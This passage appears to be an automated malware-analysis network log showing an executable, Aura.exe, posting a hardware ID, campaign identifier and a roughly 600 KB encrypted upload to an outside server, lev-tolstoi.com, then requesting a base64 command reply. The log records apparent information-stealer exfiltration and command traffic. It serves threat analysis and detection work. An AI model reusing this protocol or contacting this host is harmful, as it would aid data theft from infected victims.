2024-12-27 22:47:40 UTC	15331	OUT	Data Raw: 2d 2d 41 45 35 4c 33 39 48 57 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 35 38 32 30 32 33 46 42 38 46 33 39 44 34 43 30 42 39 43 42 44 44 32 36 38 43 43 37 43 44 0d 0a 2d 2d 41 45 35 4c 33 39 48 57 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 41 45 35 4c 33 39 48 57 54 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 68 69 74 6f 6b 34 31 31 31 0d 0a 2d 2d 41 45 35 4c 33 39 48 57 54 4e 0d 0a 43 6f 6e Data Ascii: --AE5L39HWTNContent-Disposition: form-data; name="hwid"4D582023FB8F39D4C0B9CBDD268CC7CD--AE5L39HWTNContent-Disposition: form-data; name="pid"3--AE5L39HWTNContent-Disposition: form-data; name="lid"BVnUqo--@hitok4111--AE5L39HWTNCon
2024-12-27 22:47:40 UTC	5063	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb Data Ascii: lrQMn 64F6(X&7~`aO@
2024-12-27 22:47:41 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:47:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j0a0asv0e1tahtreos6ut7jmp1; expires=Tue, 22 Apr 2025 16:34:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ygSCO9gdUNHZhlwTI4MmKthhyft%2BnUutuwMBG0rNuP2MgEphalXUQHr20Ru8sd8YHA%2BMZN2XXymFJ1t04yHubK01pQTWs4IXkJHFk4X1ydZXDxk8a%2FiWEeQnyJgFM0qQcHo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cda8c58a1429d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1558&min_rtt=1549&rtt_var=600&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2834&recv_bytes=21347&delivery_rate=1795817&cwnd=246&unsent_bytes=0&cid=25e1bf3161f68979&ts=974&x=0"
2024-12-27 22:47:41 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:47:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49741	104.21.66.86	443	7412	C:\Users\user\Desktop\Aura.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:47:42 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Y3EEH26WZIUZQ6OEFK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1258 Host: lev-tolstoi.com
2024-12-27 22:47:42 UTC	1258	OUT	Data Raw: 2d 2d 59 33 45 45 48 32 36 57 5a 49 55 5a 51 36 4f 45 46 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 35 38 32 30 32 33 46 42 38 46 33 39 44 34 43 30 42 39 43 42 44 44 32 36 38 43 43 37 43 44 0d 0a 2d 2d 59 33 45 45 48 32 36 57 5a 49 55 5a 51 36 4f 45 46 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 33 45 45 48 32 36 57 5a 49 55 5a 51 36 4f 45 46 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 68 69 74 6f Data Ascii: --Y3EEH26WZIUZQ6OEFKContent-Disposition: form-data; name="hwid"4D582023FB8F39D4C0B9CBDD268CC7CD--Y3EEH26WZIUZQ6OEFKContent-Disposition: form-data; name="pid"1--Y3EEH26WZIUZQ6OEFKContent-Disposition: form-data; name="lid"BVnUqo--@hito
2024-12-27 22:47:43 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:47:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=47q2ltji5r7mq3mu3upara7g8n; expires=Tue, 22 Apr 2025 16:34:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FyKnf85l9D4hesjRDvnrwPRsnNesPH%2F4MryVxEdbywmfAhtOdPkyiGfr2ilX4RCRfjjM1STaArJRbXRSWxYqury%2B4W3%2Fd9tDA07%2BL9knbLv3piUrCYJHuwfEUMZii9D%2FimY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cda9cdd520f43-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1505&min_rtt=1505&rtt_var=565&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=2174&delivery_rate=1933774&cwnd=32&unsent_bytes=0&cid=bbb54b9c763b34b7&ts=786&x=0"
2024-12-27 22:47:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:47:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	104.21.66.86	443	7412	C:\Users\user\Desktop\Aura.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:47:45 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8Z6GI3CERO9K60 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 608294 Host: lev-tolstoi.com
2024-12-27 22:47:45 UTC	15331	OUT	Data Raw: 2d 2d 38 5a 36 47 49 33 43 45 52 4f 39 4b 36 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 44 35 38 32 30 32 33 46 42 38 46 33 39 44 34 43 30 42 39 43 42 44 44 32 36 38 43 43 37 43 44 0d 0a 2d 2d 38 5a 36 47 49 33 43 45 52 4f 39 4b 36 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 5a 36 47 49 33 43 45 52 4f 39 4b 36 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 42 56 6e 55 71 6f 2d 2d 40 68 69 74 6f 6b 34 31 31 31 0d 0a 2d 2d 38 5a 36 Data Ascii: --8Z6GI3CERO9K60Content-Disposition: form-data; name="hwid"4D582023FB8F39D4C0B9CBDD268CC7CD--8Z6GI3CERO9K60Content-Disposition: form-data; name="pid"1--8Z6GI3CERO9K60Content-Disposition: form-data; name="lid"BVnUqo--@hitok4111--8Z6
2024-12-27 22:47:45 UTC	15331	OUT	Data Raw: 52 a8 bc fa 32 3b c7 ec f3 02 f7 ce e7 23 88 52 bf 8a e3 e3 ce e0 14 77 b2 e0 30 f2 1e 7b dc 8a e0 65 42 64 d9 e1 03 d0 b8 7d 1e dc b1 0f fb 27 77 b5 da 0b f5 de 83 8e 29 72 ae 12 23 99 db 53 b9 21 ca b5 b4 8f 37 9a 52 c5 46 43 fc 22 b0 c9 d4 a3 d2 17 e8 32 6f 4b c2 fd 6d 6a de 30 0a 98 56 04 29 b1 b4 a4 8a 35 61 fc a0 29 9b f3 5f 4b 70 09 49 89 e1 9e 54 ef 11 11 77 95 7c 9f 1d e7 56 2b 72 10 c7 4c 42 b3 ef 91 f1 d9 a8 8a 9d ee f1 66 cf 7a a3 88 a7 36 c7 42 7d c2 7d a6 8a 30 43 1b 0e 4a 1c 97 e3 5d de a4 19 56 f7 17 57 70 0a fe 2c 3e 28 ef b5 25 b8 a6 26 d4 ea ed d4 44 f5 c0 b5 ef 9f fa 9a a5 e2 4c f3 5a 3a 9a ff 14 22 ba c9 1c da 45 9e 08 f7 8a ab 40 f7 18 88 a7 5c b4 0b 92 f9 44 33 ba da 87 1b 0e a9 be 29 10 42 12 5c 62 8c 15 7e 50 07 6f 8c 21 d2 47 8f Data Ascii: R2;#Rw0{eBd}'w)r#S!7RFC"2oKmj0V)5a)_KpITw\|V+rLBfz6B}}0CJ]VWp,>(%&DLZ:"E@\D3)B\b~Po!G
2024-12-27 22:47:45 UTC	15331	OUT	Data Raw: d7 ff 08 c3 19 37 89 47 5a 27 e3 c9 b1 05 8e 3c 08 ae 75 df dc b4 b8 76 76 85 e4 37 a4 88 34 dd e6 eb 9c 7d 79 f2 b0 ea d4 66 97 44 70 d2 3a a7 89 e3 11 91 b3 00 17 b2 bf b7 40 cc d5 06 84 7a c2 86 6e bf bf 21 e1 8d 8a 87 b1 63 f3 af 38 9c 6a ba 6a 1a 74 f6 16 86 ff 8c c4 0d 8f 5e d2 78 66 de cd a9 7d ef f9 eb 4d bd ac c6 a5 01 1e c2 2d 7e b8 aa 32 25 5b 24 48 aa 11 68 cf 72 8e e7 6b d0 bc d2 ca 98 10 1f 0e 91 a5 d5 ad 9b 34 e3 68 b8 58 5d ce 8e ae b7 02 f5 fa a7 70 aa ed 7c 77 9c d8 7e 5f 26 b8 c0 93 c2 7b 0d 10 2d 3f f0 73 92 52 52 64 4f 56 3a fd 59 03 f4 f1 b3 2a 5b e7 31 87 26 79 4a 2e 01 4c b3 23 99 35 f2 c2 83 55 7e e6 24 07 b0 16 63 e7 8b e4 ed 68 9f e1 bf 32 be 0e 0f 32 7a dd 8c c0 f2 c6 25 04 ad 2d a4 96 17 54 ed 3e f9 bf 72 c1 0d 12 f9 58 ec 28 Data Ascii: 7GZ'<uvv74}yfDp:@zn!c8jjt^xf}M-~2%[$Hhrk4hX]p\|w~_&{-?sRRdOV:Y*[1&yJ.L#5U~$ch22z%-T>rX(
2024-12-27 22:47:45 UTC	15331	OUT	Data Raw: 54 9f 0b dd cd c9 0b ac 4b d8 a8 fe 04 b3 03 4e 3b b2 c3 68 66 8b bf f9 86 2f fd 07 fc d4 40 ed 64 7d 02 5f f7 f3 f6 75 4a 88 f9 c5 17 68 58 0d 91 69 ae 23 0f 1e b5 af f0 f5 57 aa 2b 2e 76 8a 00 f7 ab c2 b3 09 35 5a 48 1e 39 dc e7 77 e8 6d b5 b9 b3 9f 22 47 d2 b3 be 9f 2d 31 98 de 8d 7b bf eb 10 de 55 93 56 78 c6 c2 26 c2 d8 e6 ec ce f9 03 af fd 76 71 6f 1c 4e 29 f8 40 35 3d f9 00 8b d3 e8 47 a4 4f 08 e7 ff 56 79 7f 51 c3 0b a5 c3 fd 4e 60 e7 5d 79 4d fe fa 41 6d 7b 9b 4d e1 f3 0d d9 c1 88 fb 7b ae f2 3b 7f e1 d3 9b 37 7f 54 c2 ea 20 7a a0 a1 ad 64 bb 8c 28 87 89 73 99 ff 35 53 cb 01 04 20 f1 29 a5 3b 16 96 03 1e 0f d2 3c 1f b3 54 0e 14 3f d3 3b 38 18 5d ed 43 b8 7a fe f0 4b 4d ce 84 9a b0 3d c3 b1 a0 bb f8 64 83 52 7b b1 cb 32 90 60 91 3f 2a cd bd 46 ea Data Ascii: TKN;hf/@d}_uJhXi#W+.v5ZH9wm"G-1{UVx&vqoN)@5=GOVyQN`]yMAm{M{;7T zd(s5S );<T?;8]CzKM=dR{2`?*F
2024-12-27 22:47:45 UTC	15331	OUT	Data Raw: e1 11 0d 14 fc f6 11 ec 20 88 48 34 39 d0 d7 52 d8 ce 15 d3 ae fb 2e e9 35 21 14 78 eb 39 1d 41 44 d4 4d df 4a de fb 31 46 f0 c7 2a 3c 2b 12 df 14 e9 7e db 42 10 8f 76 cf 90 4e 60 dc 5c f2 b6 e2 f7 af e6 15 bb 65 6c bf 3c a2 2e 18 1b a8 be 0a ca fe 26 cf 56 53 07 e9 86 ef 58 4b 2b a1 48 51 ac fb 62 8a 5e 02 4b 1a f5 4e 51 c1 13 86 8b af a7 e8 40 14 25 fe 87 12 50 1c 27 51 97 ce b5 fe 06 e5 d2 e8 0d 75 fe 67 48 66 a3 47 5a d0 f8 dc 58 75 01 c5 70 af 07 f0 b9 3e 8b 49 79 bf d5 87 ff 40 f8 61 a1 35 f4 76 01 a7 b4 3c 10 0b 8b b2 fc a9 26 5c ff 44 b6 40 ff 23 61 10 28 c8 71 51 84 c1 c6 09 29 d6 ef 13 ee f5 6e 5d 54 5f 5e 36 40 01 32 62 e8 be 85 19 82 96 a6 25 a8 67 f4 e2 b2 77 13 83 d9 90 80 21 36 c1 9d 23 39 da 34 2f 91 4b a8 34 4f 54 1c af e6 ac 96 6e f6 d3 Data Ascii: H49R.5!x9ADMJ1F*<+~BvN`\el<.&VSXK+HQb^KNQ@%P'QugHfGZXup>Iy@a5v<&\D@#a(qQ)n]T_^6@2b%gw!6#94/K4OTn
2024-12-27 22:47:45 UTC	15331	OUT	Data Raw: b1 45 e8 30 ab 0f 8a 2b 7b b3 07 6f e7 40 fe 72 1d 58 23 1b 7f 01 92 2a 02 fa 45 a4 79 00 ea a5 e1 36 9f 91 cf 2e 1b f5 2e 10 7c 41 04 ac e0 e8 49 15 48 62 59 cb 89 b0 a0 c6 af 28 a0 15 03 09 03 90 9d 22 ef cb f6 14 27 49 81 63 03 da 3c d0 6a 29 77 01 1c 45 10 a1 30 e9 e5 ef ba e3 ec b6 0d ae 3b a7 a7 e0 21 5b a1 86 4f 0e b9 8f 0a 1a 1a 79 59 45 4c b2 82 96 69 7d 4f 77 e1 b8 f2 8f 14 77 5d e1 5e 33 c5 c4 d8 c8 41 14 e2 99 ad f1 5f e0 bd a9 81 ed 3a 68 a6 b6 52 2f ca 57 f7 8b 50 fc 7e a2 48 f2 ed 8c 0b e3 f2 6f 84 6c e2 5f 33 2b 8a 0f c7 93 07 6f 13 da b9 f1 d2 0b 79 a3 80 7d 84 e7 14 63 78 3d fd e5 e6 ba 1a aa 27 a3 cd 41 07 8c 08 bd 5d 16 6e 8d 8d a1 86 07 56 d4 8e c5 97 18 0b 2e 0e a5 cb f3 ed d9 f5 ad 65 8d 84 f8 de 33 40 e0 5f ef 18 71 86 86 8b 6b 14 Data Ascii: E0+{o@rX#*Ey6..\|AIHbY("'Ic<j)wE0;![OyYELi}Oww]^3A_:hR/WP~Hol_3+oy}cx='A]nV.e3@_qk
2024-12-27 22:47:45 UTC	15331	OUT	Data Raw: 62 c1 52 4a e9 96 0a eb 97 2e 8f e0 76 4f 95 25 db aa 64 04 d5 da 26 0f 41 4d fa 73 99 1f e8 5a e4 c9 01 6b d1 ed 19 bf fc ec ea d2 63 64 31 f0 99 85 a4 c7 11 2d ed 42 c2 e1 12 9d 3b 3c eb a2 db 87 e1 4f 84 6d 19 22 39 99 29 63 2f 79 18 0a c9 70 7c 33 22 fc ea 32 e7 02 df 16 40 2a 9b a9 9c fa 45 18 e8 5b 1f 53 88 79 11 be 5f 16 45 af c9 ae f4 1e 1a 7e d3 8a 3a b5 1f db 5a af 93 7b 22 60 8a 15 36 c9 72 1a 89 aa 0b 9f 5a 4f f7 10 9c 34 d3 e6 2a 90 28 c3 e2 b8 1e 3a d7 39 5c c3 c7 ee c1 7b 4c b5 4d 65 9c 21 8a 19 2b 36 6f 24 21 8c ea 60 a7 7c 87 72 8b 4c 6c 6b e4 5d 11 ec 04 1f 6a 9f 6c c9 5b 68 7d 2a 90 a8 07 a4 66 f6 74 b4 73 6d 53 56 df 06 b9 6b ce 59 11 4f db 25 47 86 c9 28 58 8b af 71 03 ae f0 d4 09 f3 01 7e fb 67 49 fd 77 40 a0 14 ea 8f 0a 31 c2 ff f8 Data Ascii: bRJ.vO%d&AMsZkcd1-B;<Om"9)c/yp\|3"2@E[Sy_E~:Z{"`6rZO4(:9\{LMe!+6o$!`\|rLlk]jl[h}*ftsmSVkYO%G(Xq~gIw@1
2024-12-27 22:47:45 UTC	15331	OUT	Data Raw: 44 bd 6f 97 24 ec 32 24 36 81 5e d2 27 37 37 ee 18 f8 f2 a3 d0 47 64 7c 38 40 fd 06 c8 31 03 1e ad 23 c3 78 40 3d 93 46 11 83 48 65 f8 bc f3 20 4a 9c d4 8f 4a ba c5 7b c6 84 80 7e b8 e5 86 99 47 81 f7 78 fc 58 85 1e bf 3a 1a b8 a3 12 fe 0d 29 ef b8 f2 af a3 45 78 c0 63 a0 4c 73 15 87 8a 40 9e 00 fd c3 49 cb fe 88 5f 6f 69 79 7b db 68 0f ee 8d 4c a2 de 6a c6 47 e0 41 68 67 f9 a5 dd 4a 55 e1 f7 f8 40 af e4 a9 06 33 3a 26 43 e1 2d a3 f8 bd a7 63 0e b4 59 25 d8 43 c3 8a 3a 2b 4c 20 7e af 66 34 13 fe 35 c6 13 15 95 2a 50 b0 f4 96 dc d7 89 20 c7 c1 a1 f6 06 f5 c1 fb 8f a7 7f 4f d5 97 04 4f f7 b4 ef 8a 1b 68 da 87 96 73 5b ef d4 72 e0 df fa d2 29 f1 ef 51 84 32 5e 25 40 0b 13 21 d2 d3 f6 3d 63 99 e5 76 20 2a 59 24 13 c6 4d 78 ec 5c 92 03 7e c0 5b 0b 71 0a fa 7d Data Ascii: Do$2$6^'77Gd\|8@1#x@=FHe JJ{~GxX:)ExcLs@I_oiy{hLjGAhgJU@3:&C-cY%C:+L ~f45P OOhs[r)Q2^%@!=cv Y$Mx\~[q}
2024-12-27 22:47:45 UTC	15331	OUT	Data Raw: 02 51 61 f0 cd 78 f0 fd 6b 8c 9f 36 da ef 9d c6 a4 7a 03 4d 7a eb bf 48 0d 8f 8d 97 20 2b 01 91 93 5f b2 9a d2 b9 8f c5 cb 01 92 a1 f1 0c f9 89 d6 47 2e 69 7e 2c c2 40 b8 e8 78 91 48 54 a1 cd 50 64 d4 1d ed dd 79 ef 1a 21 7d f3 40 42 b8 4c 9c 01 76 5b 84 e7 d6 b7 44 2c 97 4f 5e 4f fe 8c 8a 69 3a 77 ee 7a 44 ab 46 29 a3 ff 46 41 07 5b b9 ca 0e 04 c0 5e 8e e2 23 1e cf 9e a9 e2 b9 3f 12 14 ff 24 3b 84 9f 15 13 72 0a d7 dd 2d 4f 43 f9 4e 2f 29 88 34 69 f1 f0 fd 4d a3 bd 3f 91 24 02 54 9e f2 ea 96 03 3c a9 a3 51 8f 4d cd 4e 77 0c 0b ad 89 75 d3 20 a5 63 c2 1e 2a cc fb f5 94 db 0d 0e 8e a9 b7 b8 33 38 88 49 7e bf 37 1a 3c 0d 3d f3 f7 4b 60 0f 37 c8 0d d6 f7 a5 bf 8b 03 85 93 4b 65 7e ef 70 a0 b0 ee ee a8 1a f8 37 5c 04 80 f2 b2 0b ef 9b 8e e0 9f a7 3b 62 ce f9 Data Ascii: Qaxk6zMzH +_G.i~,@xHTPdy!}@BLv[D,O^Oi:wzDF)FA[^#?$;r-OCN/)4iM?$T<QMNwu c*38I~7<=K`7Ke~p7\;b
2024-12-27 22:47:45 UTC	15331	OUT	Data Raw: ed be 17 c2 07 08 70 7d d4 26 8b 85 2f f4 8b c1 b9 df 39 69 62 8f 28 2b da 48 76 ab 9e 89 41 83 96 19 09 e6 2e 70 4a 27 4b 2c 0a 3f e5 90 8a 79 79 84 84 dd d2 15 b6 e5 3d 04 84 a0 d5 1f 32 b9 9d bd 92 91 ae 36 fe db af b1 4c fc fa 6f 15 8e dd 4f 40 6a c9 7b 7b b0 2f 05 6b 38 87 95 ce 46 9e c0 10 4d 09 32 30 0a d6 de 7a 2b 40 aa dc fe b0 98 92 48 fa c0 e0 54 c2 48 5e fc 5c 99 0c 58 61 74 56 33 9d 4d cb 3f 09 ae 2b c1 ae 5a 82 f3 35 5a 4e 63 d2 eb 72 69 33 ac fe 52 ab c6 b0 d3 b5 57 6f 51 af 4c a4 5f 19 bc 1e 18 ed 77 ae e7 d5 70 86 cb ba b5 a3 50 54 00 76 d2 7e 7e e0 ba 03 be db df c5 fe e9 71 11 8e f2 23 ca 11 c6 6a 78 40 d0 48 29 6b 5f bf 57 9c 89 ff d1 f4 5b 67 37 9e 2d 9e 4b e0 f2 32 28 cc ff 8a 4e bd cc 35 a1 b5 59 01 f4 55 37 0b 7f cb 28 99 35 ee ec Data Ascii: p}&/9ib(+HvA.pJ'K,?yy=26LoO@j{{/k8FM20z+@HTH^\XatV3M?+Z5ZNcri3RWoQL_wpPTv~~q#jx@H)k_W[g7-K2(N5YU7(5
2024-12-27 22:47:48 UTC	1139	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:47:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3t5nsi89lhe617apo42rk91218; expires=Tue, 22 Apr 2025 16:34:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nTQeE%2FVtaqcUdp9T2mE1CeOW1zHKtw3JpO%2B3ksocDthIo3Y3TPzN5KPyAxt7VquVtNExMwuj74bSY2bCVEpmntJC%2F1MlOUhNMEvw%2B%2BjyS2Tg%2FwKrZOA%2FS7mvPHmAnFGDDyU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cdaaca82f42c2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1576&rtt_var=611&sent=372&recv=636&lost=0&retrans=0&sent_bytes=2835&recv_bytes=610946&delivery_rate=1760096&cwnd=240&unsent_bytes=0&cid=239fabe796d37949&ts=2867&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	104.21.66.86	443	7412	C:\Users\user\Desktop\Aura.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:47:49 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: lev-tolstoi.com
2024-12-27 22:47:49 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 42 56 6e 55 71 6f 2d 2d 40 68 69 74 6f 6b 34 31 31 31 26 6a 3d 26 68 77 69 64 3d 34 44 35 38 32 30 32 33 46 42 38 46 33 39 44 34 43 30 42 39 43 42 44 44 32 36 38 43 43 37 43 44 Data Ascii: act=get_message&ver=4.0&lid=BVnUqo--@hitok4111&j=&hwid=4D582023FB8F39D4C0B9CBDD268CC7CD
2024-12-27 22:47:50 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:47:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5gtilnncr99m5uod8sur9oqube; expires=Tue, 22 Apr 2025 16:34:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=571iVBpMAXE0tF0HB8q7M02EatnLNvKg%2FQqNp2nb45IGpLXsk2nFtSf%2B%2BqmDcOI31qH2XPv8ug6Yo871%2Br1o%2FxaQphDwafyIIjXZsjyPsx4xEXBiRmSRt7hNBXT7TDbyNgY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cdac7bb857293-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1838&min_rtt=1838&rtt_var=689&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=986&delivery_rate=1586956&cwnd=158&unsent_bytes=0&cid=4c590ea8b6ef1312&ts=759&x=0"
2024-12-27 22:47:50 UTC	242	IN	Data Raw: 62 66 63 0d 0a 53 66 71 69 6b 59 77 48 4d 6b 31 38 47 56 36 43 4b 58 73 32 6f 65 42 4c 43 66 65 39 4d 35 30 68 6b 50 58 41 43 56 6c 47 4b 36 34 53 67 59 44 33 2b 43 55 49 66 46 41 37 4f 36 41 54 53 68 71 44 68 47 6b 7a 31 64 45 47 37 46 44 31 67 6f 74 34 50 42 34 41 34 53 36 62 6d 38 58 6b 51 52 6b 52 55 33 51 73 36 55 30 5a 5a 66 66 52 65 54 76 48 69 57 72 45 54 2f 53 4d 74 30 73 7a 4d 32 43 5a 4b 49 33 73 32 37 74 47 42 44 31 4a 66 32 72 7a 61 77 6b 48 37 71 55 54 50 74 7a 63 52 73 38 51 35 4c 2b 59 55 54 73 6b 66 38 6b 68 6b 38 61 69 77 45 5a 31 41 6b 68 72 4c 75 64 49 43 6c 6a 53 6f 7a 70 6e 6d 2b 45 63 39 30 37 58 67 35 55 39 43 79 42 64 6d 7a 6a 50 36 73 61 38 61 31 59 70 43 47 30 52 78 57 34 78 42 63 4b 55 66 Data Ascii: bfcSfqikYwHMk18GV6CKXs2oeBLCfe9M50hkPXACVlGK64SgYD3+CUIfFA7O6ATShqDhGkz1dEG7FD1got4PB4A4S6bm8XkQRkRU3Qs6U0ZZffReTvHiWrET/SMt0szM2CZKI3s27tGBD1Jf2rzawkH7qUTPtzcRs8Q5L+YUTskf8khk8aiwEZ1AkhrLudICljSozpnm+Ec907Xg5U9CyBdmzjP6sa8a1YpCG0RxW4xBcKUf
